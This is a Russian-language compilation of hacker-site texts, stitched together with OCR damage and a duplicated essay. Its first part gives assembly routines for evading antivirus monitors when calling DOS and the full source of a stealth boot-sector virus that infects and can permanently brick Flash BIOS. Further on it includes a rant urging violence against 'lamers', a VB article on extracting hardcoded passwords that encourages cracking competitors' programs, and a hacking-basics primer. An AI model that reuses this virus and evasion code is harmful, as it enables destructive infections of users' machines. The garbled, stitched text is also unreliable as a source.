Подразумевается, что флаг прохода цепочки 21-го прерывания проверя-
ется в обработчике INT 2Ah.
Конструирование неотслеживаемого обращения к DOS
Для чего нужно такое конструирование? Неужели антивирусные мони-
торы настолько бдительны, что пресекают любые попытки открыть для
модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авто-
ры антивирусных мониторов обладают достаточно эффективными сред-
ствами, чтобы предотвратить прямые обращения к DOS со стороны ви-
русов.
Обратимся к мнению Ю. Косивцова: “Для обнаружения действия нере-
зидентных вирусов необходимо контролировать вызов функций DOS
с номерами: 3Dh (открытие файла через описатель), OFh (открытие
файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS).
Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ
или SYS, то можно выдавать предупреждающее сообщение”.
Список выглядит слишком коротким. Действительно, а что произойдет,
если сначала переименовать программный файл? И почему не учтена
функция 6Ch (расширенное открытие файла)? А что будет, если от-
крыть файл для чтения, а затем изменить режим доступа прямым обра-
щением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто
они никогда не раскрывают свои профессиональные секреты. Например,
авторы программы AVPTSR реально учли и использовали все эти мето-
дики и тонкости.
——————————————————————————–
Итак, предположим, что гипотетический антивирусный супермонитор:
- отслеживает и блокирует попытки трассировки 21-го прерывания;
- для контроля “опасных” функций DOS встраивается в начало обра-
ботчика прерывания INT 21h;
- для предотвращения прямого обращения к DOS использует флаг,
сбрасываемый либо во вставленном фрагменте, либо в обработчике
прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при
конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием “мето-
да предопределенных адресов”.
Для решения второй проблемы стоит проанализировать возможное
расположение в обработчике DOS точки перехода на антивирусный
монитор. Очевидно, это может быть точка 0 либо точка 1. В самом
худшем случае можно допустить, что врезка происходит непосред-
ственно после команды проверки на максимальное значение номера
функции. Далее обработчик DOS “растекается” на многочисленные
ручейки, поэтому отследить их все крайне затруднительно. По край-
ней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные
ручейки. Однако, при использовании ограниченного набора функций
они могут разместиться и в одном ручейке, что намного упростит ре-
шение данной задачи. Функции 3Ch-43h, отвечающие за создание, от-
крытие, закрытие, чтение, запись, атрибуты и перемещение, действи-
тельно располагаются в одном общем ручейке. Это позволяет
использовать адрес точки 2 для прямого обращения к DOS. Монито-
ры, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений.
Один из вариантов – замаскировать прерывания таймера и изменить
вектор 8-го прерывания перед прямым обращением к DOS. Вместо из-
менения вектора можно попробовать вставить инструкции IRET в нача-
ло текущего (антивирусного) обработчика. При использовании все того
же метода “предопределенных адресов” и, зная позицию инструкции
INT 2Ah в обработчике DOS, перед прямым обращением к DOS следу-
ет просто заменить этот вызов двумя командами NOP.
Пример реализации
Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5″
——————————————————————————–
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, “пра-
вильный” адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для “безопасных” функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21 ,ax
mov ax, [si+6]
mov Ofs21 ,ax
ret
Skip:
; Переходим к следующему элементу таблицы
add si,8
[Проверяем, не закончилась ли таблица. Если таблица закончилась,
--------------------------------------------------------------------------------
;читаем адрес текущего обработчика прерывания
cmp [si], О
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21 h – метод
;” предопределенных адресов” не сработал, точка входа не найдена
mov ax, 3521h
int 21 h
mov Ofs21,bx
mov Seg21 ,es
ret
;Таблица позиций 2А и 2.
Table dw OFF03h, 5333h,OFF03h, 420Ah
dw OFDC8h, 41D1h,OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
——————————————————————————–
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Ah
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
-.Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21 h
ret
;B этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;0бработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp
——————————————————————————–
Flash BIOS
Новое место для вирусов
Flash-память – энергонезависимая память, которая обеспечивает рабо-
тоспособность EPROM со встроенной электрической схемой стирания и
перепрограммирования. Энергонезависимая память отличается от RAM
тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS – Flash-память, которая используется для хранения кода
BIOS. Она может быть перепрограммирована – это предусмотрено для
облегчения обновления BIOS. Такие микросхемы применяются в 90%
портативных компьютеров, в большинстве компьютеров 486DX2,
486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все
что нужно сделать вирмейкеру – это незаметно модифицировать BIOS,
чтобы вирус стартовал перед загрузкой системы компьютера.
AMI Flash вирус
Алгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если
она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения ви-
руса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она нахо-
дится в режиме “Readonly”);
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим “Readonly” для памяти Flash BIOS.
Единственное предназначение INT 19h – быть вызванным в процессе
загрузки, чтобы загрузить boot-сектор в память и передать ему управле-
ние. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и
записывать в нее нельзя. Поэтому во время работы вируса нельзя ис-
пользовать временные переменные в этой памяти. Более целесообразным
является создание вируса для обычного boot-сектора. Этот вирус следу-
ет поместить в конец памяти и оттуда устанавливать вектор INT 13h.
——————————————————————————–
AMI BIOS обладает своими специфическими особенностями при разме-
щении в микросхемах Flash-памяти, которые базируются на использова-
нии функции EOh прерывания INT 16h. Самое интересное состоит
в том, что однажды внесенный в эту память вирус может запретить по-
вторно использовать указанную функцию. Это запретит антивирусным
программам воспользоваться ею в процессе удаления вируса из BIOS
компьютера. Исходя из этого, авторам антивирусных программ придет-
ся трассировать INT 16h, чтобы получить оригинальный вектор.
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
.серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с “чистой”
;дискеты. Зараженный чип в рабочее состояние не вернуть.
огд О
;При входе в boot-сектор 01=загрузочный диск
mov si,7COOh
[Установим OOOOh в регистрах DS и ES
хог ах,ах
mov es.ax
mov ds.ax
.Установим значение стека OOOOh:7COOh
cli
mov ss.ax
mov sp.si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в АХ)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
——————————————————————————–
mov cl,6
shi ax.cl
.Установим новый сегмент вируса (вершина памяти)
mov es,ax
.Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
eld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
[загрузился до загрузки DOS, то прерывание INT 21 h еще не
работает - работаем с вектором прерывания прямо в таблице
mov ax.word ptr [13h*4]
mov word ptr es: [off set i13],ax
mov ax.word ptr [13h*4+2]
mov word ptr es: [offset i 13+2],ax
.Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
[Переходим в точку ES:Restart (в копии вируса,
[находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;C этого места программа работает уже в вершине памяти
Restart:
[Загружаем оригинальный boot-сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
.функцию ООп прерывания INT 13h)
xor ах.ах
call int13h
--------------------------------------------------------------------------------
[Подготовим регистры для загрузки оригинального boot-сектора
хог ах.ах
mov e,ax ;Сегмент для загрузки
mov bx,7COOh ;Смещение для загрузки
mov cx,0002h Дорожка 0, сектор 2
хог dh.dh ;Головка О
mov ax,0201h ;Функция 2, количество секторов 1
[Проверим диск, с которого грузимся. 80h и выше - жесткий диск,
;иначе - дискета. Копия оригинального boot-сектора хранится
;в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2;
;на дискете - дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov с1,14 ;Сектор 14
mov dh,1 ;Головка 1
;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh
MBRJ-oader:
call int13h
.Сохраним в стеке номер диска, с которого грузимся
push dx
Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;3аразим Flash BIOS
call flash_BIOS
.Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh)
db OEAh
dw 7COOh
dw 0
--------------------------------------------------------------------------------
;Сюда попадаем, когда происходит чтение boot-сектора. Скрываем
[Присутствие вируса методом чтения оригинального boot-сектора
Stealth:
Остановим значения сектора, где хранится копия оригинального
iboot-сектора
mov cx,02h
mov ax,0201h
[Проверим, откуда считан boot-сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
Прочтем копию оригинального boot-сектора. Так как
;номера секторов подменены, фактически "копия выдается
;за оригинал" - скрываем свое присутствие (Stealth).
call int13h
[Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса - ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BMBh
resJest:
xchg ah,al
iret
.Обработчик прерывания INT 13h
Handler:
.Если при вызове в АХ находится ABBAh,
.значит это проверка наличия резидентного вируса
cmp ax.OABBAh
je resJest
[Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
--------------------------------------------------------------------------------
[Проверяем номера дорожки и сектора, интересуясь только теми
.секторами, в которых может оказаться вирус -
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
[Проверим номер головки. Если не 0, то запустим
[Оригинальный обработчик
cmp dh,0
jne jend
tryJnfect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
[Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push ex
push dx
push si
push di
push es
push ds
Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],”LV”
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot-ceKTOp (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
.Установим номера дорожки, головки и сектора для жесткого
.диска для сохранения оригинального boot-сектора
mov cx,2
xor dh.dh
——————————————————————————–
jmp write_virus
lnfect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot-сектора
mov сх,14
mov dh,1
Write_Virus:
Записываем оригинальный boot-сектор
mov ax,0301h
call int-lSh
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;3апишем тело вируса в boot-сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh.dh
call int13h
восстановим регистры и флаги (как раз те их значения, которые
[свидетельствует о том, что boot-сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop ex
pop bx
pop ax
popf
--------------------------------------------------------------------------------
[Выходим из обработчика в вызывающую программу
retf 2
;3апуск оригинального обработчика
J'end:
DD OEAh .Код команды JMP FAR
;0ригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
lnt13h proc near
pushf
call dword ptr cs:[i13]
ret
lnt13h endp
Первые два байта слова используются как сигнатура
Marker db “VLAD”
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
Проверим наличие Flash BIOS
mov ax.OEOOOh
int 16h
jc no_flash_bios
cmp al.OFAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
Лросканируем память FOOOh-FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
lnfect_Flash:
Остановим начальный сегмент для поиска
mov ax.OFOOOh
mov ds.ax
Проверим сегмент
New_segment:
——————————————————————————–
Остановим стартовое смещение
xor si,si
Остановим счетчик найденных байт
;(величина свободного места для вируса)
xor dx.dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
Проверим, есть ли еще место для вируса
cmp ax.OFFFOh
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test-16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
• inc dx
Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт, но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512 слов)
cmp dx,512
je found_storage
[Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;B эту точку попадаем, если место найдено
Found_storage:
-------------------------------------------------------------------------------
Перейдем к началу зоны
sub ax,40h
mov ds.ax
.Получим требования к сохранению состояния чипа
mov ax,OE001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
[Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
записывать некуда - выходим
No_Flash_BIOS:
ret
[Сохраним состояние чипа
save_chipset:
[Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
.Сохраним состояние
mov al,2
push cs
pop es
mov di, offset buffer
int 16h
[Записываемся во Flash BIOS
write_enable:
[Повышаем напряжение
mov al,5
int 16h
--------------------------------------------------------------------------------
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
.Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di.di
mov ex,512
push cs
pop ds
xor si,si
eld
rep movsb
;3десь нужна особая осторожность. lnt19h указывает на BIOS,
;позднее оно перехватывается различными программами.
.Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно - "внедриться" в int19h.
;Можно перехватить его в том месте, где находится
сохраненная таблица векторов, но сделаем интереснее.
.Получим смещение оригинального обработчика int19h
mov bx.es ;ВХ=сегмент вируса
xor ах.ах
mov ds.ax ;DS=Ta6nHua векторов
mov di.word ptr [19h*4] ;Смещение INT 19h
mov es.word ptr [19h*4+2] ;Сегмент INT 19h
;3апишем JMP FAR по адресу точки входа в INT 19h
mov al.OEAh
stosb
mov ax,offset int19handler
stosw
mov ax.bx
stosw
.Понизим напряжение
mov ax,OE004h
int 16h
——————————————————————————–
;3ащитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет – выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
.Восстановим состояние чипа
push cs
pop es
mov al,3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
lnt19Handler Proc Near
;Установим сегментный регистр ES в ноль
хог ах.ах
mov es.ax
[Проверим наличие резидентного вируса
mov ax.OABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
[обработчик прерывания INT 19h
cmp ax.OBAABh
jne realJnt19h
[Перенесем вирус из BIOS в boot-буфер
push cs
pop ds
-------------------------------------------------------------------------------
eld
xor si,si
mov di,7c00h
mov ex,512
rep movsb
;3апустим вирус в boot-буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
Лроинициализируем значения регистров для загрузки boot-сектора
mov ex, 1
mov dh,0
mov ax,0201h
mov bx,7COOh
.Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
J'a hd_int19h
;Прочтем boot-сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7COOh+offset flash_done],1
;3апустим boot-сектор, находящийся в boot-буфере
db OEAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
——————————————————————————–
[Установим номер диска для загрузки (диск С)
mov dl,80h
HD_lnt19h:
Произведем сброс дисковой подсистемы
хог ах,ах
int 13h
.Прочтем boot-сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot-сектор,
.вызываем прерывание INT 18h
Boot:
int 18h
lnt19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510-offset End_Virus
Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah
конецформыначалоформыВ этой статье я бы хотел расказать вам молодые хакеры про такую вещь. С недавних пор мы в замечаем много людей которые в чатах/форумах говорят что ОНИ “крутые хакеры”! Так вот я распределил взломщиков по трём котегореям:
1.ламеры
2.крэкэры
3.хакеры
И щас я вам раскажу про них подробней.
Итак ламеры. Если вы скажете что вы знаете что такое ламер то вы наверно ошибаетесь.
Ламеры это люди не те которые компом не умеют пользоватса,а те которые юзают проги для взлома созданные другими и которые(люди) говорят что они кулхацкеры!Бейте этим людям в морду и когда они упадут добивайте!!!
Но я отошёл от темы….
Дальше крэкэры… Вот это люди более приближыны к хакерам. Они тоже юзают чужые проги но! Есть одно но. Они ведь и сами проги печатают(для взлома и токо те которые они могут понять как сделать)… Они также как и ламеры говорят про себя… но их уже както можно равнять!
И наконец хакеры…про них можно говорить и говорить… это действительно люди которых надо уважать…но власти этого не понимают ![]()
это люди великие… Хакеры это впервую очередь защитники систем! Они построили интернет и дальше будут строить!Но появились люди использующие свои знания про защиту для атаки. Эти люди взламывабанки правительстаенные системы и т.д. Это хакеры… От них пошли другие ветви взломщиков…Но они не пытались узнать защиту,а сразу пытались ломать…Вот поэтому они и не стали хакерами…
Мораль: Вы захотели стать хакером? Да??? А теперь задумайтесь надо ли оно вам… Ведь это надо тратить кучу времни… Но если вы решились… То вам понадобитса лет пять…Кстати не стремитесь стать именно хацкером…Стремитесь стать защитником систем…Изучайте фверы до винтиков…Выучите пару методов криптографии…Другие виды защит… замутите свой сайт и напишите там шо типа кто взломает вознаграждение и защищайте его как можете…И в конце концов вы станете крутым защитником , а там и до ХАКЕРА рукой подать
1.ламеры
2.крэкэры
3.хакеры
И щас я вам раскажу про них подробней.
Итак ламеры. Если вы скажете что вы знаете что такое ламер то вы наверно ошибаетесь.
Ламеры это люди не те которые компом не умеют пользоватса,а те которые юзают проги для взлома созданные другими и которые(люди) говорят что они кулхацкеры!Бейте этим людям в морду и когда они упадут добивайте!!!
Но я отошёл от темы….
Дальше крэкэры… Вот это люди более приближыны к хакерам. Они тоже юзают чужые проги но! Есть одно но. Они ведь и сами проги печатают(для взлома и токо те которые они могут понять как сделать)… Они также как и ламеры говорят про себя… но их уже както можно равнять!
И наконец хакеры…про них можно говорить и говорить… это действительно люди которых надо уважать…но власти этого не понимают ![]()
это люди великие… Хакеры это впервую очередь защитники систем! Они построили интернет и дальше будут строить!Но появились люди использующие свои знания про защиту для атаки. Эти люди взламывабанки правительстаенные системы и т.д. Это хакеры… От них пошли другие ветви взломщиков…Но они не пытались узнать защиту,а сразу пытались ломать…Вот поэтому они и не стали хакерами…
Мораль: Вы захотели стать хакером? Да??? А теперь задумайтесь надо ли оно вам… Ведь это надо тратить кучу времни… Но если вы решились… То вам понадобитса лет пять…Кстати не стремитесь стать именно хацкером…Стремитесь стать защитником систем…Изучайте фверы до винтиков…Выучите пару методов криптографии…Другие виды защит… замутите свой сайт и напишите там шо типа кто взломает вознаграждение и защищайте его как можете…И в конце концов вы станете крутым защитником , а там и до ХАКЕРА рукой подать ![]()
Иногда при создании программ возникает необходимость несколько ограничить доступ к вашему продукту. В таких случаях обычно все используют стандартную форму в VB – Log In Dialog полагая, что это даёт стопроцентную защиту.
На самом деле это совсем не так! Меня давно интересовал вопрос о том возможно ли как-то подглядеть пароль из файла EXE и я понял, что действительно можно. Сегодня мы поговорим о том, как можно узнать пароль в программе EXE и о том, как защитить вашу программу от подобного рода взломов. Итак для начала создадим новый проект (Standart EXE) и кроме основной формы добавим в проект форму Log In Dialog (делается это с помощью диалогового окна Add Form, изображённого на предыдущей картинке). Теперь откроем код формы ЛогИн и увидим в процедуре обрабатывающей щелчок на кнопку cmdOK:
‘check for correct password
If txtPassword = “password” Then
‘place code to here to pass the
’success to the calling sub
’setting a global var is the easiest
LoginSucceeded = True
Me.Hide
Else
MsgBox “Invalid Password, try again!”, , “Login”
txtPassword.SetFocus
SendKeys “{Home}+{End}”
End If
То есть если вы введёте в поле txtPassword пароль “password”, то LoginSucceeded будет равняться True (пользователь ввёл верный пароль!), если же вы впишете что-то другое, то выйдет сообщение “Invalid Password, try again!”. Затем сделайте форму ЛогИн стартовой и скомпилируйте ваш проект – File/Make Project1.exe (Файл/Компилировать Project1.exe). Теперь откройте вашу программу с помощью Блокнота и посмотрим на файл EXE в виде текста.
Выберите в Блокноте Поиск/Найти и введите в поле Образец строку “p a s s w o r d” то есть наш пароль с пробелами между буквами. Нажмите Найти далее и смотрите, что случилось!
Внимание: на самом деле надо было бы декомпилировать программу, но я решил показать вам насколько открыто хранится содержимое переменных в компилированной с помощью VB программе.
Не удивляйтесь, но он действительно нашёл наш пароль! Компилятор совсем никак не прячет данные в переменных даже текстовые. Вот так! Не верится? Так попробуйте ещё раз! Поменяйте код в ЛогИне:
If txtPassword = “password” Then
Например на:
If txtPassword = “ABCDE-12345″ Then
и проверьте ещё раз! Совпадений быть не может. Теперь вы знаете, что пароль в стандартном ЛогИне можно подглядеть. И читатель скажет: “Что это он всё стандартный, стандартный, а что можно сделать? Свой придумывать, новый?”. Отвечу – оставить прежний, но доработать! Как? Давайте поэксперементируем. Сменим стандартный код кнопки cmdOK на следующий:
Private Sub cmdOK_Click()
Dim A As String, B As As String, C As String, D As String
A = “p”
B = “a”
C = “s”
D = “w”
A = A + B + C + D
‘check for correct password
If txtPassword = A Then
‘place code to here to pass the
’success to the calling sub
’setting a global var is the easiest
LoginSucceeded = True
Me.Hide
Else
MsgBox “Invalid Password, try again!”, , “Login”
txtPassword.SetFocus
SendKeys “{Home}+{End}”
End If
End Sub
Проверяем!
Всё таки он есть, правда в другом виде. Как же нам запутать кракера, который попытается найти пароль к вашей программе разглядывая её в виде текста? Может запутать пароль в прямом смысле? Попробуем!
Private Sub cmdOK_Click()
Dim A As String, B As As String, C As String, D As String
B = “a”
D = “w”
C = “s”
A = “p”
A = A + B + C + D
‘check for correct password
If txtPassword = A Then
‘place code to here to pass the
’success to the calling sub
’setting a global var is the easiest
LoginSucceeded = True
Me.Hide
Else
MsgBox “Invalid Password, try again!”, , “Login”
txtPassword.SetFocus
SendKeys “{Home}+{End}”
End If
End Sub
Смотрим!
Изменилось? Да! Правда если честно не знаю как вас, но меня такая защита не устраивает. А если пароль будет коротким? Например DAN. У нас выйдет в Блокноте A ^ N ^ D. И что? За одну минуту можно подобрать пароль поменяв полжение букв! Тогда путаницу попробуем вставить в процедуру Form_Load, а проверять переменную А будем в cmdOK. Идея! Пробуем. Да действительно, найти его невозможно!
То, что я описал для запутывания взломщика не очень подходит. Во-первых, увеличивается код программы – недолго и самому запутаться. Во-вторых, писать для каждой переменной такие вещи тоже неудобно. Лучший способ: сжать (компрессовать) программу. Для этого есть много разных утилит. Тут выгода двойная: 1) размер файла ЗНАЧИТЕЛЬНО (!) уменьшится; 2) Прогру нельзя будет декомпилировать (если взломщик не догадается чем её сжали и не декомпрессует) и просмотреть код, а Блокнот тем более не сможет хакеру помочь!
Ну, что ж? Теперь вы знаете как защитить программу от нежелательного доступа. Но это не всё! Вы ещё приобрели опыт в том как вскрыть пароль. Если хотите узнавать пароли к программам вашего противника (или конкурента), то пользуйтесь этим и никогда не рассказывайте про эту статью
ОК? Хочу добавить, что слишком большие программы Блокнот открывать не может и всегда будет спрашивать разрешение открыть Notepad’ом. В Notepad’е отыскать пароль может составить трудности, так как WordPad отображает данные программы не с пробелами (например “p a s s w o r d”), а с какими-то квадратиками. Но всё равно кто ищет, тот всегда найдёт! Если поиск составил трудности, то можно при помощи Поиска найти “I n v a l i d P a s s w o r d, t r y A g a i n”. Поверьте, пароль будет где-то поблизости!
Если вам понравилось, то вы можете написать программку, которая сама будет отыскивать пароли в программе! Я что-то подобное уже делал, получилось. Нужно найти закономерности с учётом которых ставится пароль (например около чего он находится). Думаю, эта статья не оставит вас равнодушными и вы сразу приметесь улучшать свою программу (или ломать чью-то
). Дерзайте!
Небольшое примечание
Недавно мне в голову пришла идея переделать статьи владухи «Основы хакерства» и возможно написать продолжение.
Все дело в том, что информация в статьях немного устарела, поэтому я взялся подредактировать существующие статьи.
Некоторые темы будут полностью переписаны, некоторые будут оставлены. Ну что ж начнем.
Основы.
Привет, читатель. Год назад я пришёл на ХЗ, и очень хотел стать хакером. Никто не мог мне обьяснить многие простые вещи, я видел много опытных,
но стать на путь хакера мне помогли буквально единицы. И я могу их назвать: PinkPanther, DrWeb, R_a_ID_e_R.
Я обучался сам, не надеясь ни на чью помощь, стараясь описывать свои познания в статьях для новичков.
Так шло время, менялись поколения… Я не хочу усложнять жизнь ньюбов, я всегда к ним хорошо относился, и я считаю, что новички меют право знать.
Тот, кто скажет, что я неправ, что мол “пусть сами разбираются, только так они вырастут”,
и прав и неправ. Да, упорные достигнут своей цели, но человек, которому это не надо, просто не будет читать эту статью.
Тем, кто до сих пор мучает поисковики вопросами типа “как стать хакером” я решил посвятить цикл уроков, а может, и книгу.
Ты пройдёшь путь от ламмера до хакера, изучишь технологии программирования, взлома и многое-многое другое. Проходи этот путь по моим урокам, и всё будет ОК,
Это первый урок, посвящённый азам хакерства, он скорее завлекающий. Помни, всё это только игрушки, а настоящее хакерство пойдёт потом. А на этом этапе ты должен решить,
нужно оно тебе, или нет. Постепенно мы изучим сетевые технологии, ты узнаешь, как устроен Интернет, что можно в нём найти интересного,
что можно, а что нельзя. Добро пожаловать в наш мир!
Итак, темы на сегодняшний урок:
Идеология хакера
Ответственность
Путь хакера
Идеология хакинга.
Хакинг – это почти религия. Если ты окунулся в этот мир, то не сможешь уйти из него никогда. Хакинг это не хобби,
это даже не работа (хотя многие зарабатывают на этом), хакинг – это жизнь!
У многих слово “хакер” ассоциируется с эдаким ботаником, день и ночь взламывающим банки и переводящим себе кучу денежек,
неустанно беспрерывно сносящим сотни серверов одним ударом без причины. Хочу тебе сказать, что эта мысль в корне
неправильная. В этом уроке мы пока еще не будем вскрывать банки (ну разве что банку пива:)), мы поговорим о том, кто такие
хакеры, что они делают и какими мотивами руководствуются.
Согласно определению, хакер – человек, увлекающийся компьютерами, и испытывающий желание знать о них всё. Запомни, что просто
так ничего не происходит, и У любого взлома есть цель, мотив, взломщик и ОТВЕТСТВЕННОСТЬ. При взломе хакером движет
элементарное любопытство, желание проникнуть внутрь, найти уязвимость. Если ты со мной не согласен,
тебе просто нет смысла читать дальше.
Пожалуй, сразу стоит определиться с терминами.
Ламер – это не тот кто не знает. Это человек, которые не стремится узнать. Причем, он как правило считает себя опытным хакером. Это классический ламер.
Новичок – почему то всегда путают ламера с новичком. Новичок еще мало знает, но он стремится узнать.
Хакер – это прежде всего создатель, а не взломщик. СМИ запудрила людям мозги, спутав хакеров и крекеров. Крэкер это как раз взломщик.
Правда сейчас у этого термина немного другое значение. Сейчас крекером является человек, которые взламывает программы и игнорирует любые копирайты.
Вообще хакер- это вселенский энтузиаст. Давайте будем энтузиастами!
Для начала ты должен уметь использовать поисковики. В Инете
